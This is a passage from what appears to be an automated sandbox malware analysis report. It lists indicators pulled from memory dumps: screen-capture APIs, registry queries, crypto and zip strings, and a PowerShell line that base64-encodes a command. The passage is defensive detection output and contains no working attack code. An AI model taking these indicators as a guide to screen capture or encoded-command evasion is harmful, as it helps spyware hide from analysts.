(Indicator: "BitBlt"; Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp, 00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp, 00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp, 00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp, 00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp, 00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp, 00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp, 00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp, 00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp, 00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp, 00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005984.00000000.197451.04100000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005984.00000000.197451.04100000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005984.00000000.197451.04100000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005984.00000000.197451.04100000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005984.00000000.197451.04100000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005984.00000000.197451.04100000.00000004.mdmp")5c:T4f8,Found registry query API: "RegOpenKeyExW" in "00000000-00001060.00000001.197716.04400000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00001060.00000001.197716.04400000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00001372.00000001.197755.06000000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00001372.00000001.197755.06100000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00002024.00000000.203341.04080000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002024.00000000.203341.04080000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00005984.00000000.197451.06400000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00005984.00000000.197451.06400000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00006948.00000001.197689.00B61000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00006948.00000001.197689.00B61000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00006948.00000001.197689.00B61000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00006948.00000001.197689.00B61000.00000002.mdmp"5d:T122b,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "base64 accepts only blob or text" (Indicator: "base64"; Source: "00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp") Found string "blob from base64 may be too big" (Indicator: "base64"; Source: "00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp") Found string "blob expanded to base64 too big" (Indicator: "base64"; Source: "00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp") Found string "base64 OOM" (Indicator: "base64"; Source: "00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp") Found string "base64" (Indicator: "base64"; Source: "00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000000.196737.07342000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.07342000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found string "$hasherType = "System.Security.Cryptography.${Algorithm}CryptoServiceProvider" -as [Type]" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "$algorithmType = "System.Security.Cryptography.${Algorithm}" -as [Type]" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "[System.Security.Cryptography.HashAlgorithm]" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "[-WindowStyle